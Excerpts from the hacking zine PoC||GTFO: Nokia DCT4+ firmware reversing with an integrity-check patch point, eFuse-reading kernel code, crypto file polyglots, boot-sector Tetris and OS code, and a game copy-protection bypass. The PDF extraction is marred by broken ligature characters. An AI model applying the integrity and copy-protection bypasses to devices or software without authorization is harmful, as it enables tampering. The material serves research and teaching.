DCT4 and DCT4+ work with 2G GSM. BB5 is sometimes 2G

and sometimes 3G, so far as I know. And anything that comes

after, such as Asha S40, is 3G. It is important to understand that

there are di�erent generations of phones because vulnerabilities

and �rmware seem to work for all devices within a family. Devices

in di�erent families require di�erent �rmware.

I’ll start with a DCT4+ phone, the Nokia 1208. Nowadays

there are quite a few people out there who know how to patch

DCT4+ �rmware, but the solution is still not out in the open.

One would have to collect lots of small pieces of information

from many forum posts in order to get a full solution. Well, not

anymore, because I’m going to present here that solution in all

of its glory.

� � � � � � � � � � �

� � � � � �

� � � � � � � � � � �

A DCT4+ phone has two regions of executable code, a �ash-

able part and a non-�ashable secured part, which is most likely

mask ROM. The �ashable memory contains a number of impor-

tant regions.

� The Operating System, which Nokia calls the MCUSW.

(Read on to learn how they came up with this name.)
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contains nearly all of the code that operates the phone, including

the user interface, menus, web browser, SMS, and anything else

the phone does. The only things that are not part of the OS are

the code for performing the �ashing, the code for protecting the

�ash, and some of the baseband code. These are all found in the

ROM part. The CNT part contains only third party apps, such

as games.

Obtaining a copy of the �rmware is not hard. It’s available

for download from many websites, and also directly from Nokia’s

own servers. These �rmware images can be �ashed using Nokia’s

�ashing tool, Phoenix Service Software, or with NaviFirm+. The

operating system portion comes with a .mcu or .mcusw extension,

which stands for MicroController Unit SoftWare.

This �le starts with the byte 0xA2 that marks the version of

the �le. The is a simple Tag-Length-Value format. From o�set

0xE6 everything that follows is encoded as follows:

� 1 Byte: Type, which is always 0x14.

� 1 Dword: Address

� 3 Bytes: Length

� 1 Byte: Unknown

� 1 Byte: Xor checksum
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something in the code coming after the �rst megabyte, it imme-

diately reboots the phone. The funny thing is that the CPU is so

slow that I can get a few seconds to play with the phone before

the reboot takes place. Unfortunately, patching out this check

still leaves me with no baseband, and thus no product.

� � � � � � � � � � �

� � � � � �

� � � � � � � � � � �

To attack this protection I had to better understand the in-

tegrity checks. I didn’t have a dump of the code that checks the

�rst megabyte, so I reversed the check performed on the rest of

the binary in an attempt to �nd some mistake. Using the Find-

Crypt IDA script, I found a few implementations of SHA1, MD5,

and other hashing functions that could be used�and should be

used!�to check binary integrity.

Most importantly, I found a function that takes arguments of

the hash type, data’s starting address, and length, and returns a

digest of that data. Following the cross references of that function

brought me to the following code:

FLASH :01086266 loc_1086266

2 FLASH :01086266 LDR R2 , =0 x300C8D2

FLASH :01086268 MOVS R1 , #0 x1C

4 FLASH :0108626 A LDRB R0 , [R2 ,R0]

FLASH :0108626 C MULS R1 , R0

6 FLASH :0108626 E LDR R0 , = SHA1_check_related

FLASH :01086270 SUBS R0 , #0 x80

8 FLASH :01086272 ADDS R0 , R1 , R0

FLASH :01086274 MOVS R4 , R0

10 FLASH :01086276 ADDS R0 , #0 x80

FLASH :01086278 R1 = Start

12 FLASH :01086278 LDR R1 , [R0 ,#0 xC]

FLASH :0108627 A LDR R2 , [R0 ,#0 x10]

14 FLASH :0108627 C LDR R0 , [R0 ,#0 xC]

FLASH :0108627 E DataLength = DataStart - DataEnd ;

16 FLASH :0108627 E SUBS R3 , R2 , R0

FLASH :01086280 ADD R2 , SP , #0 x38+ hashLength

18 FLASH :01086282 STR R2 , [SP ,#0 x38+ hashLengthCopy ]

FLASH :01086284 LDRB R0 , [R6 ,#8]
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20 FLASH :01086286 DataLength += 1;

FLASH :01086286 ADDS R3 , R3 , #1

22 FLASH :01086288 ADDS R7 , R7 , R3

FLASH :0108628 A R2 = DataLength ;

24 FLASH :0108628 A MOVS R2 , R3

FLASH :0108628 C ADD R3 , SP , #0 x38+ hashToCompare

26 FLASH :0108628 E BL hashInitUpdateNDigest_j

FLASH :0108628 E

28 FLASH :01086292 CMP R0 , #0

FLASH :01086294 BNE loc_10862A4

30 FLASH :01086294

FLASH :01086296 LDR R0 , = hashRelatedVar

32 FLASH :01086298 MOVS R1 , #1

FLASH :0108629 A BL MONServerRelated_over1

34 FLASH :0108629 A

FLASH :0108629 E MOVS R0 , #4

36 FLASH :010862 A0 BL reset

The digest function is hashInitUpdateNDigest_j, of course.

The SHA1_check_related address had the following data in it:

FLASH :01089 DD4 SHA1_check_related DCD 0 xB5213665

2 FLASH :01089 DD8 DCD 3

FLASH :01089 DDC SHA1_check_info DCD 0 x200400AA

4 FLASH :01089 DE0 #1

FLASH :01089 DE0 DCD loc_1100100 ; Start

6 FLASH :01089 DE4 DCD loc_13AFFFE +1 ; End

FLASH :01089 DE8 DCD 0 xEE41347A ; \

8 FLASH :01089 DEC DCD 0 x8C88F02F ; \

FLASH :01089 DF0 DCD 0 x563BB973 ; SHA1SUM

10 FLASH :01089 DF4 DCD 0 x040E1233 ; /

FLASH :01089 DF8 DCD 0 x8C03AFFA ; /

12 FLASH :01089 DFC #2

FLASH :01089 DFC DCD loc_13B0000

14 FLASH :01089 E00 DCD loc_165FFFE +1

FLASH :01089 E04 DCD 0 xCC29F881

16 FLASH :01089 E08 DCD 0 xA441D8CD

FLASH :01089 E0C DCD 0 x7CEF5FEF

18 FLASH :01089 E10 DCD 0 xC35FE703

FLASH :01089 E14 DCD 0 x8BD3D4D6

20 FLASH :01089 E18 #3

FLASH :01089 E18 DCD loc_1660000

22 FLASH :01089 E1C DCD loc_190FFFC +3

FLASH :01089 E20 DCD 0 x77439E9B

24 FLASH :01089 E24 DCD 0 x530F0029

FLASH :01089 E28 DCD 0 xA7490D5B

26 FLASH :01089 E2C DCD 0 x4E621094
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FLASH :010862 F4

27 FLASH :010862 F6 CMP R5 , #1

FLASH :010862 F8 // Patch here to 0xe006

29 FLASH :010862 F8

FLASH :010862 F8 BNE loc_1086308

31 FLASH :010862 F8

FLASH :010862 FA LDR R0 , =0 x7D0005

33 FLASH :010862 FC BL HashMismatch

FLASH :010862 FC

35 FLASH :01086300 MOVS R0 , #4

FLASH :01086302 BL reset

37 FLASH :01086302

FLASH :01086306 B loc_1086310

This function performs the comparison of the calculated hash

to the one in the table, and, should that fail to match, it calls

the HashMismatch() function and then the reset function with

Error Code 4.

The HashMismatch() function looks a bit like this.

FLASH :01085320 ; Attributes : thunk

2 FLASH :01085320

FLASH :01085320 HashMismatch

4 FLASH :01085320 BX PC

FLASH :01085320

6 FLASH :01085320 ; --------------------------------------------

FLASH :01085322 ALIGN 4

8 FLASH :01085322 ; End of function HashMismatch

FLASH :01085322

10 FLASH :01085324 CODE32

FLASH :01085324

12 FLASH :01085324 ; =============== S U B R O U T I N E ========

FLASH :01085324

14 FLASH :01085324

FLASH :01085324 sub_1085324 ; CODE XREF: HashMismatch

16 FLASH :01085324 LDR R12 , =( sub_1453178 +1)

FLASH :01085328 BX R12 ; sub_1453178

18 FLASH :01085328

FLASH :01085328 ; End of function sub_1085324

20 FLASH :01085328

FLASH :01085328 ; --------------------------------------------

22 FLASH :0108532 C off_108532C DCD sub_1453178 +1

FLASH :01085330 CODE16

24 FLASH :01085330

FLASH :01085330 ; =============== S U B R O U T I N E ========

26 FLASH :01085330
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Anyhow, this is my favorite method for patching the �ash. It

doesn’t allow me to patch the �rst megabyte directly, but I can

accomplish all that I need by patching the later megabytes of

�rmware.

However, if that’s not enough, some neighbors reversed the

�rst megabyte check for some of the phones and made it public.

Alas, the function they published is only good for some modules,

and not for the entire series.

How did they manage to do it, you ask? Well, it’s possible

that it was silicon reverse engineering, but another method is

rumored to exist. The rumor has it that with JTAG debug-

ging, one could single-step through the program and spy on the

Instruction Fetch stage of the pipeline in order to recover the

instructions from mask ROM. Replacing those instructions with

a NOP before they reach the WriteBack stage of the pipeline

would linearize the code and allow the entire ROM to be read by

the debugger while the CPU sees it as one long NOP sled. As

I’ve not tried this technique myself, I’d appreciate any concrete

details on how exactly it might be done.

� � � � � � � � � � �

� � � � � �

� � � � � � � � � � �

Now that I had a way to patch the �rmware, I could go on to

creating a patched version to make this phone Kosher. I had to

reverse the menu functions entirely, which was quite a pain. I

also had to reverse the methods for loading strings in order to

have a better way to �nd my way around this big binary �le.

Some of the patching was a bit smoother than others. For

instance, after removing Internet options from all of the menus, I

wanted to be extra careful in case I missed a secret menu option.

To disable the Internet access, one might suggest searching for

the TCP implementation, but that would be too much work, and

180





3 Address on the Smashing of Idols to Bits and Bytes

3:8 Tetranglix:

This Tetris is a Boot Sector

by Juhani Haverinen, Owen Shepherd, and Shikhin Sethi

Since Dakarand in a 512-byte boot sector would have been too

easy, and since both Tetris and 512-byte boot sectors are the

perfect ingredients to a fun evening, the residents of #osdev--

offtopic on FreeNode took to writing a Tetris clone in the min-

imum number of bytes possible. This tetris game is available

by unzipping pocorgtfo03.pdf, through Github,6 by typing the

hex from page 186, or by scanning the barcode on page 185.

There’s no fun doing anything without a good challenge. This

project presented plenty, a few of which are described in this

article.

To store each tetramino, we used 32-bit words as bitmaps.

Each tetramino, at most, needed a 4 by 4 array for representation,

which could easily be �atenned into bitmaps.

; All tetraminos in bitmap format .

2 tetraminos :

dw 0 b0000111100000000 ; I -Z-- -S-- -O--

4 dw 0 b0000111000100000 ; J

dw 0 b0000001011100000 ; L 0000 0000 0000

6 dw 0 b0000011001100000 ; O 0110 0011 0110

dw 0 b0000001101100000 ; S 0011 0110 0110

8 dw 0 b0000111001000000 ; T 0000 0000 0000

dw 0 b0000011000110000 ; Z

Instead of doing bound checks on the current position of the

tetramino, to ensure the user can’t move it out of the stack,

we simply restricted the movement by putting two-block wide

boundaries on the playing stack. The same also added to the

esthetic appeal of the game.

6git clone https://github.com/Shikhin/tetranglix
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To randomly determine the next tetramino to load, our imple-

mentation also features a Dakarand-style random number gener-

ator between the RTC and the timestamp counter.

1 ; Get random number in AX.

rdtsc ; The timestamp counter .

3 xor ax , dx

5 ; ( INTERMEDIATE CODE)

7 ; Yayy , more random .

add ax , [0 x046C ] ; And the RTC ( updated via BIOS).

The timestamp counter also depends on how much input the

user provided. In this way, we ensure that the user adds to the

entropy by playing the game.

Apart from such obvious optimizations, many nifty tricks en-

sure a minimal byte count, and these are what make our Tetran-

glix code worth reading. For example, the same utility function

is used both to blit the tetramino onto the stack and to check for

collision. Further optimization is achieved by depending upon

the results of BIOS calls and aggressive use of inlining.

While making our early attempts, it looked impossible to �t

everything in 512 bytes. In such moments of desperation, we

attempted compression with a simpli�ed variant of LZSS. The

decompressor clocked at 41 bytes, but the compressor was only

able to reduce the code by four bytes! We then tried LZW,

which, although it saved twenty-one bytes, required an even more

complicated decompression routine. In the end, we managed to

make our code dense enough that no compression was necessary.

Since the project was written to meet a strict deadline, we

couldn’t spend more time on optimization and improvement.

Several corners had to be cut.

The event loop is designed such that it waits for the entirety

of two PIT (programmable interval timer) ticks�109.8508 mS�
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00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

0000 ea 05 7c 00 00 31 db 8e d3 bc 00 7c 8e db 8e c3

0010 fc bf 04 05 b9 b6 01 31 c0 f3 aa b0 03 cd 10 b5

0020 26 b0 03 fe c4 cd 10 b8 00 b8 8e c0 31 ff b9 d0

0030 07 b8 00 0f f3 ab be 2a 05 66 b8 db db db db 66

0040 89 44 fd 89 44 01 83 c6 10 81 fe ba 06 76 f0 30

0050 d2 be 24 05 bf b8 7d fb 8b 1e 6c 04 83 c3 02 39

0060 1e 6c 04 75 fa 84 d2 75 37 fe c2 60 0f 31 31 d0

0070 31 d2 03 06 6c 04 b9 07 00 f7 f1 89 d3 d0 e3 8b

0080 9f e8 7d bf 04 05 be db 00 b9 10 00 30 c0 d1 e3

0090 0f 42 c6 88 05 47 e2 f4 61 c7 04 06 00 e9 a5 00

00a0 b4 01 cd 16 74 59 30 e4 cd 16 8b 1c 80 fc 4b 75

00b0 06 fe 0c ff d7 72 46 80 fc 4d 75 06 fe 04 ff d7

00c0 72 3b 80 fc 48 75 38 31 c9 fe c1 60 06 1e 07 be

00d0 04 05 b9 04 00 bf 13 05 01 cf b2 04 a4 83 c7 03

00e0 fe ca 75 f8 e2 ef be 14 05 bf 04 05 b1 08 f3 a5

00f0 07 61 e2 d7 ff d7 73 07 b9 03 00 eb ce 89 1c fe

0100 44 01 ff d7 73 3f fe 4c 01 30 d2 60 06 1e 07 ba

0110 99 7d e8 87 00 31 c9 be 2a 05 b2 10 30 db ac 84

0120 c0 0f 44 da fe ca 75 f6 84 db 75 0b fd 60 89 f7

0130 83 ee 10 f3 a4 61 fc 83 c1 10 81 f9 90 01 72 da

0140 07 61 e9 f1 fe 60 bf 30 00 be 2a 05 b9 10 00 ac

0150 aa 47 aa 47 e2 f9 83 c7 60 81 ff a0 0f 72 ed 61

0160 60 8a 44 01 b1 50 f6 e1 0f b6 3c d1 e7 83 c7 18

0170 01 c7 d1 e7 b1 10 be 04 05 b4 0f 84 c9 74 16 fe

0180 c9 ac 84 c0 26 0f 44 05 ab ab f6 c1 03 75 ec 81

0190 c7 90 00 eb e6 61 e9 bf fe 08 05 c3 60 e8 35 00

01a0 b1 10 84 c9 74 10 fe c9 ac ff d2 47 f6 c1 03 75

01b0 f1 83 c7 0c eb ec 61 c3 60 f8 ba c2 7d e8 dc ff

01c0 61 c3 3c db 75 0e 81 ff ba 06 73 04 3a 05 75 04

01d0 83 c4 12 f9 c3 0f b6 44 01 c1 e0 04 0f b6 1c 8d

01e0 78 06 01 c7 be 04 05 c3 00 0f 20 0e e0 02 60 06

01f0 60 03 40 0e 30 06 53 68 4e 6f 58 67 53 6f 55 aa

This is a complete Tetris game.
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in memory. Furthermore, there exists somewhat unused source

code from the Code Aurora project in the Android kernel that

documents how to read and write to the 4kB block of exposed

fuses.

Aside from the Aurora code, many vendors have also created

and publicly shared code to play with the fuses. LG is the best of

them, with a handy little kernel module that maps and explores

LG speci�c bit�ags. In general, there is plenty of code available

for a clever neighbor to learn the process.

The following are simple excerpts from my tool that should

help you explore these fuses with a little more granularity. Please

note, and NOTE WELL, that writing eFuse or QFPROM values

can and probably will brick your device. Be careful!

One last interesting tidbit though, one that will hopefully en-

tice the reader to do something nifty. SoC and other hardware

debugging is typically turned o� with a blown fuse, but there

exists a secondary fuse that turns this functionality back on for

RMA and similar requests. Also, these fuses hold the blueprint

for where and how Secure Boot 3.0 works as well as where the

device should look for binary blobs to load during setup phases.

// --------------------------------------------------------

2 // Before we can crawl , we must have appendages

// --------------------------------------------------------

4 static int map_the_things (void) {

uint32_t i;

6 uint8_t stored_data_temp ;

// --------------------------------------------------------

8 // Stage 1: Hitting the eFuse memory directly.

// (This is not supposed to work.)

10 // --------------------------------------------------------

pr_info ("m0nk -> we run until we read: %i lovely bytes \n",

12 QFPROM_FUSE_BLOB_SIZE );

14 for (i = 0; i < QFPROM_FUSE_BLOB_SIZE ; i++) {

stored_data_temp = readb_relaxed ( QFPROM_BASE_MAP_ADDRESS +i);

16
if (! stored_data_temp ) {
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66 if ( base_fuse_map [i] == 1)

pr_info ("m0nk -> offset : 0x%x (%i), has value :"

68 "0x%x (%i)\n", i, i, base_fuse_values [i],

base_fuse_values [i]);

70 }

72 // pr_info ("\n\nm0nk -> Known QF-PROM Shadow Contents !\n");

74 // for (i = 0; i < QFPROM_FUSE_BLOB_SIZE; i++) {

// if (shadow_fuse_map[i] == 1)

76 // pr_info ("m0nk -> offset: 0x%x,"

// "has value: 0x%x (%i)\n",

78 // i, shadow_fuse_values[i],

// shadow_fuse_values[i]);

80 // }

82 return 0;

}

Writing a fuse is slightly more complex, but basically amounts

to pushing a voltage to the eFuse for a speci�ed duration in order

for the fuse to blow. This feature is included in my complete fuse

introspection tool.8

Have fun, break with caution and enjoy.

8git clone https://github.com/monk-dot/DefusingTheDragon

unzip pocorgtfo03.pdf defusing.zip
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The challenge was in identifying the hidden content of the �le,

of which there were three. Using the liberal interpretation of the

PDF format,9 one could place a document at the end of a Python

script, enclosed in multi-line string quotes.10

The Python script itself was surrounded by weird unprintable

characters that make rendering in command line tools like less

or cat rather unenjoyable. What most people identi�ed was an

encoding hint.

00000a0: 0c0c 0c0c 0c0c 0c0c 2364 6973 6162 6c65 ........#disable

00000b0: 642d 656e 636f 6469 6e67 3a09 5f72 6f74 d-encoding:._rot

...

0000180: 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f ________________

0000190: 3133 037c 1716 0803 2010 1403 1e1b 1511 13.|.... .......

Despite the unprintables, the long range of underscores didn’t

really fend o� any serious adventurer. The following content

therefore had to be rot13 decoded. The rest of the challenge made

up a typical crackme. Hoping that the reader is entertained by a

puzzle like this, the remaining parts of that crackme will be left

as an exercise.

The real trick was sadly never discovered by any participant of

the CTF. The �le itself was not a PDF that contained a Python

script, but a python script that contained a PDF. The whole �le

is actually executable with your python interpreter!

Due to this hideous encoding hint, which is better known as a

magic comment,11 the python interpreter will fetch the codec’s

name using a quite liberal regex to accept typical editor set-

tings, such as �vim: set fileencoding=foo� or �-*- coding:

9As seems to be mentioned in every PoCkGTFO issue, the header doesn’t
need to appear exactly at the �le’s beginning, but within the �rst 1,024
bytes.

10"""This is a multiline Python string.
It has three quotes."""

11See Python PEP 0263, De�ning Python Source Code Encodings
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First we encrypt S, and get apparent garbage Enc(S). Then we

create F2 by appending T to Enc(S), which will be padded, and

we decrypt the whole �le to get F1. Thus F1 is S with apparent

garbage appended, and F2 is T with apparent garbage prepended.

This method will also work for short enough S and formats

such as PDF that may begin within a certain limited distance of

o�set 0, but not at arbitrary distance.

Formats Starting at O�set 0

We had it easy with formats that allowed some or any amount

of garbage at the start of a �le. However, most formats mandate

that their �les being with a magic signature at o�set 0. Therefore,

to make the �rst blocks of F1 and F2 meaningful both before

and after encryption, we need some way to control AES output.

Speci�cally, we will abuse our ability to pick the Initialization

Vector (IV) to control exactly what the �rst block of F1 encrypts

to.

In CBC mode, the �rst 16-byte ciphertext block C0 is com-

puted from the �rst plaintext block P0 and the 16-byte IV as

C0 = EncK(P0 � IV )

where K is the key and Enc is AES. Thus we have DecK(C0) =

P0 � IV and we can solve for

IV = DecK(C0) � P0

As a consequence, regardless of the actual key, we can easily

choose an IV such that the �rst sixteen bytes of F1 encrypt to the

�rst sixteen bytes of F2, for any �xed values of those 2�16 bytes.

The property is obviously preserved when CBC chaining is used

for the subsequent blocks, as the �rst block remains unchanged.
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can already determine the start of F2, and then the AES-CBC

IV. T will then contain the APP0 segment, and its usual JPEG

content.

Portable Network Graphics

PNG �les are similar to JPEGs, except that their chunks contain

a checksum, and their size structure is four bytes long.

A PNG �le starts with the signature �\x89PNG\x0D\x0A\x1A\x0A�

and is then structured in TLV chunks.

hlength(data) : 4ihchunktype : 4i
hchunkdata :?ihcrc(chunktype + chunkdata) : 4i

These are typically located right after the signature, where an

IHDR (ImageHeaDeR) chunk usually starts.

For F2 to be valid, we need to start with a chunk that will

cover the len(S) � 16 garbage bytes of Enc(S). We can give it

any lowercase chunk type,15 and luckily, at the end of the chunk

type, we’re right at the limit of sixteen bytes, so no brute forcing

of the next encrypted block is required.

At that point of F2 the uncontrolled garbage portion may start.

We then calculate its checksum, append it, then resume with all

the chunks coming from T . Our F2 is now composed of (1) a

PNG signature, (2) a single dummy chunk containing Enc(S),

and (3) the T chunks that make up the meaningful image. This

is a valid PNG �le.

15If the �rst letter in the type �eld of a PNG block is lowercase, then that
chunk will be ignored by the viewer, which interprets it as a custom
dummy block.

198





3 Address on the Smashing of Idols to Bits and Bytes

signature is truncated by a null byte,16 and we also omit the ob-

ject reference and generation, and the object dictionary. Luckily,

this reduced form takes exactly sixteen bytes, and still works!

Now the uncontrolled remainder of Enc(S) will be ignored as

a valid but unused stream object. We then only need the start

of T to close that object, and then T can be a valid PDF. So F2

is a valid PDF �le, showing T ’s content.

Conclusion

Provided that the format of our source �le tolerates some ap-

pended garbage, and that the �le itself is not too big, we can

encrypt it to a valid PNG, JPEG or PDF.

This same technique can work for other ciphers and �le for-

mats. Any block cipher will do, provided that its standard block

size is big enough to �t the target header and a dummy chunk

start. This means we need six bytes for JPEG, sixteen bytes for

PDF and PNG.

An older cipher such as Triple-DES, which has blocks of eight

bytes, can still be used to encrypt to JPEG. ThreeFish, which

can have a block size of 64 bytes, can even be used to encrypt

a PE. The �rst block would be large enough to �t the entire

DOS_HEADER, which allows you to relocate the NT_Headers wher-

ever you like, up to 0x0FFF_FFFF.

So you could make a valid WAV �le that, when encrypted with

AES, gives you a valid PDF. That same �le, when encrypted with

Triple-DES, gives you a JPEG. Furthermore, when decrypted

with ThreeFish, that �le would give you a PE. You can also

chain stages of encryption, as long as the size requirements are

taken care of.

16This part of the trick was learned from Tavis Ormandy.

200





3 Address on the Smashing of Idols to Bits and Bytes

202





4 Tract de la SociØtØ SecrŁte

copy protection and �t on a single, two-sided 16-sector �oppy

disk. (Artwork in this section advertises the brilliant novella

Prince of Gosplan by ´ŁŒòîð ˇåºåâŁí. You should read it.)

The author of PoCkGTFO 4:5 provides a quick introduction to

fuzzing with his rewrite of Sergey Bratus and Travis Goodspeed’s

Facedancer framework for USB device emulation.

In PoCkGTFO 4:6, Natalie Silvanovich continues the Tam-

agotchi hacking that you read about in PoCkGTFO 2:4. This

time, there’s no software vulnerability to exploit; instead, she

loads shellcode into the chip’s memory and glitches the living

hell out of its power supply with an AVR. Most of the time, this

causes a crash, but when the dice are rolled right, the program

counter lands on the NOP sled and the shellcode is executed!

In PoCkGTFO 4:7, Evan Sultanik presents a provably plausi-

bly deniable cryptosystem, one in which the ciphertext can de-

crypt to multiple plaintexts, but also that the �le’s creator can

deny ever having intended for a particular plaintext to be present.

In PoCkGTFO 4:8, Deviant Ollam shares a forgotten trick for

modifying normal locks with a tap and die to make them pick

resistant.

In PoCkGTFO 4:9, Travis Goodspeed presents an introductory

tutorial on chip decapsulation and photography. Please research
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4:2 First Epistle Concerning the

Bountiful Seeds of 0Day

by Manul Laphroaig, Merchant of Dead Trees

Dearly Beloved,

Are the last days of 0day upon us? Is 0day becoming so sparse

as to grace the very few, no matter how many of the faithful

strive for its glory? Not so.

For what is the seed of 0day? Is it not a nugget of under-

standing what those of little faith ignore as humdrum? Is it

not liberating the computing power of mechanisms unnoticed by

those who use them daily? Is it not programming machines that

others presume to be set in stone or silicon?

Verily, when the developer herds understand the tools that

drive them to their cubicled pastures every day, then shall the

0day be depleted�but not before. Verily, when every tender of

academic pigeonholes reads the papers he reviews and demands

to see their source, then might the 0day begin to deplete�but

not before.

For how can the sum of programs grow faster than St. Moore

foresaw without increasing the sum of 0day? Have we prophets

and holy ones who can cure the evil of using tools without un-

derstanding? Have layers of abstractions stopped breeding blind

reliance? Verily, on such sand new castles are being erected even

now.

So, beloved brethren, seek after 0day wherever and whenever

the idolaters say �this just works� or �you don’t need to under-

stand this to write great code� or yet �write once, run anywhere.�

Most of all, look for it where the holy PEEK and POKE are

withheld from those who crave them�for no righteousness can

survive there, and the blind there are leading the blind to the
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4:3 This OS is a Boot Sector

by Shikhin Sethi, Merchant of 3.5� Niftiness

Writing an Operating System is easy. Explaining how to write

one isn’t. Most introductory articles obfuscate the workings of

the necessary components of an OS with design paradigms the

writer feels best complement the OS. This article, the �rst in my

PoCkGTFO series on just how a modern OS works, is di�erent�

it tries to properly, yet succinctly, explain all the requisite com-

ponents of an OS�in 512 bytes per article.

The magic begins with the processor starting execution on reset

at the linear address 0xFFFFFFF0. This location contains a jump

to the Basic Input/Output System (BIOS) code, which starts

with the Power On Self Test (POST), followed by initialization

of all requisite devices. In a predetermined order, the BIOS then

checks for any bootable storage medium in the system. Except

for optical drives, a bootable disk is indicated via a 16-bit 0xAA55

identi�er at the 510-byte mark, ending the �rst 512-byte sector.2

If a bootable medium is found, the �rst sector is loaded at the

linear address 0x7C00 and jumped to. If none is found, the BIOS

lovingly displays �Operating System not found.�3

Real Mode

The �rst ancestor of today’s x86 architecture was the 8086, in-

troduced in 1978. The processor featured no memory protection

20xAA55 is 0b1010101001010101. The alternating bit pattern, with 0x55 be-
ing an inversion of 0xAA, was taken as an insurance against even extreme
controller failure. The same identi�er is also used in other parts of the
BIOS interface.

3 There is no deep reason behind 0x7C00 being the load address. This is
how programming usually works (and standards proliferate).
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or privilege levels. By 1982, Intel had designed and released the

80286, which featured hardware-level memory protection mech-

anisms, among other features. However, to maintain backward

compatibility, the processor started in a mode compatible with

the 8086 and 80186, known as real mode. (Feature wise, the mode

lacks realness on all accounts.)

Real mode features a 20-bit address space and limited seg-

mentation. The mode featuring memory protection and a larger

address space was called the protected mode.

Note that the 16-bit protected mode introduced with the 80286

was enhanced with the 80386 to form 32-bit protected mode. We

will be targeting only the latter.

Segmentation

The 8086 had 16-bit registers, which were used to address mem-

ory. However, its address bus was 20-bit. To take advantage of

its full width and address the entire 1MiB physical address space,

the scheme of segmentation was devised.

In real-mode segmentation, 16-bit segment registers are used

to derive the linear address. The registers CS, DS, SS, and ES

point to the current Code Segment, Data Segment, and Stack

Segment, with ES being an extra segment.

The 80386 introduced the FS and GS registers as two more

segment registers.

The 16-bit segment selector in the segment register yields the

16 signi�cant bits of the 20-bit linear address. A 16-bit o�set is

added to this segment selector to yield the linear address. Thus,

an address of the form:

(Segment) : (O�set)

can be interpreted as
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Flags

A direction �ag in the (E)FLAGS register controls whether string

operations decrement or increment their source/destination regis-

ters. We clear this �ag explicitly, which implies that all source/des-

tination registers should be incremented after string operations.

; Clear direction flag.

2 cld

The A20 Line

On the original 8086, the last segment started at 0xFFFF0 (seg-

ment selector = 0xFFFF). Thus, with o�set greater than 0x000F,

one could potentially access memory beyond the 1MiB mark.

However, having only 20 addressing lines, such addresses wrapped

around to the 0MiB mark. An access of 0xFFFF:0x0010 would

yield an access to 0x0000 (wrapped around from 0x10000) on

the 8086.

The 80286, however, featured twenty-four address bits. De-

lighted hackers, on the other hand, had already exploited the

wrap-around of addresses on the 80(1)86 to its fullest extent. In-

tel maintained backwards compatibility by introducing a software

programmable gate to enable or disable the twenty-�rst address-

ing line (called the A20 line), known as the A20 gate. The A20

gate was disabled on-boot by the BIOS.

; Read the 0x92 port.

2 in al , 0x92

; Enable fast A20.

4 or al , 2

; Bit 0 is used to specify fast reset , ’and’ it out.

6 and al , 0xFE

out 0x92 , al
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; Size of GDT - 1.

13 ; 3 entries , each 8 bytes.

dw (0 x8 * 3) - 1

15 ; Pointer to GDT.

dd gdt

17 ; Make it 8 bytes.

dw 0 x0000

19
; The code entry.

21 dw 0 xFFFF ; First 16-bits of limit.

dw 0 x0000 ; First 16-bits of base.

23 db 0x00 ; Next 8-bits of base.

db 0x9A ; Read/writable , executable , present.

25 db 0xCF ; 0b11001111.

; The least significant four bits are

27 ; next four bits of limit.

; The most significant 2 bits specify

29 ; that this is for 32-bit protected

; mode , and that the 20-bit limit is

31 ; in 4KiB blocks. Thus , the 20-bit

; 0b11111111111111111111 specifies a

33 ; limit of 0xFFFFFFFF.

;

35 db 0x00 ; Last 8-bits of base.

37 ; The data entry.

dw 0xFFFF , 0 x0000

39 db 0x00

db 0x92 ; Read/writable , present.

41 db 0xCF

db 0x00

No More Real (Mode)

The switch to protected mode is relatively easy, involving merely

setting a bit in the CR0 register and then reloading the CS reg-

ister to specify 32-bit code.

mov eax , cr0

2 or eax , 1 ; Set the protection enable bit.

mov cr0 , eax

4 jmp 0x08: protected_mode

6 bits 32

protected_mode :
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Figure 4.1: Virtual Memory

Figure 4.2: X86 Paging

The �rst page table pointed to by the page directory maps the

�rst 4MiB of the virtual address space to physical addresses, the

next to the next 4MiB, and so on.

The address of the page directory is loaded into a special reg-

ister, CR3.

; 0x8000 will be our page directory , 0x9000 will be

the

2 ; page table.

4 ; From 0x8000 , clear one 0x1000 -long frame.

mov edi , 0 x8000

6 mov cr3 , edi

xor eax , eax
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Figure 4.3: Recursive Page Mapping

from them).

Recursive Map

In our simplistic case, the entire �rst four megabytes were mapped

onto themselves, to so-called identity map. In the Real WorldTM,

however, it is often the case that the physical memory containing

the page directory/tables is not mapped into the virtual address

space. Instead of creating a di�erent page table to point to the

existing paging structures, a neat trick is deployed.

Before I explain the trick, note how the page directory and the

page table has the exact same structure, including the attributes.

What happens, then, if an entry in the page directory were to

point to itself? The page directory will be interpreted as a page

table. This page table will have entries to actual page tables.

However, the CPU will interpret them as entries corresponding to

page frames, allowing you to access them via the virtual address

the page directory was self-mapped to. If that makes your head

hurt, the illustration in Figure 4.3 might help.
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all the entries in the TLB. 56

Till Next Time

The article got us through the backward-compatibility mess that

de�nes the x86 boot process, into protected mode with paging

enabled. In the next issue, we’ll look at x86 interrupt handling,

the programmable interrupt timer, multiprocessor initialization,

and then the local APIC timer. We’ll also answer some unan-

swered questions (like what happens if a page table entry doesn’t

exist) and conclude with a (hopefully) nifty proof-of-code.

Till then,

hlt:

2 hlt

jmp hlt

5CR3 is usually reloaded to change the process context (will be covered
across future articles). However, a change of process does not require
that the entries for the kernel pages in the TLB get �ushed. To avoid
this, the global bit in the page table entry can be set, and global pages
can be enabled in CR4. Doing so ensures that the entry for the speci�c
page in the TLB can only be invalidated via a invlpg.

6The x86-64 architecture saw the introduction of tags as a part of the TLB
entry, in 2008. Thus, each TLB entry is associated with a particular tag,
and context switches can only involve changing of the current tag.
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indirectly during the boot-time copy protection check. However,

the variable redherring2 was never set in the source code ver-

sion. Presumably someone removed the code (but did not no-

tice that the declaration remained in the header �le) because it

wasn’t used in the 3.5� version, because that version was not

copy-protected. Unfortunately, without that value in the 5.25�

version, you couldn’t start the later levels. It was set in the re-

tail 5.25� version, however, and thus we also found out that the

source code was only for the 3.5� version. I bypassed this problem

by writing the proper value to the proper place manually.

The third thing I noticed was that the graphics become cor-

rupted on Level 4. The reason was yet another layer of copy-

protection, which was executed before starting Level 1, but the

e�ect was delayed until after starting Level 4. Nasty. :-) The

end sequence was similarly a�ected. If the copy-protection failed,

then the graphics became corrupted and the game froze on Level

14, the reunion scene. This was an interesting design decision. If

the protection was bypassed in the wrong way�by skipping the

check on Level 4, instead of �xing the variable that was being

compared�then that second surprise awaited. I worked around

that one in the correct way, by bypassing the failure check.

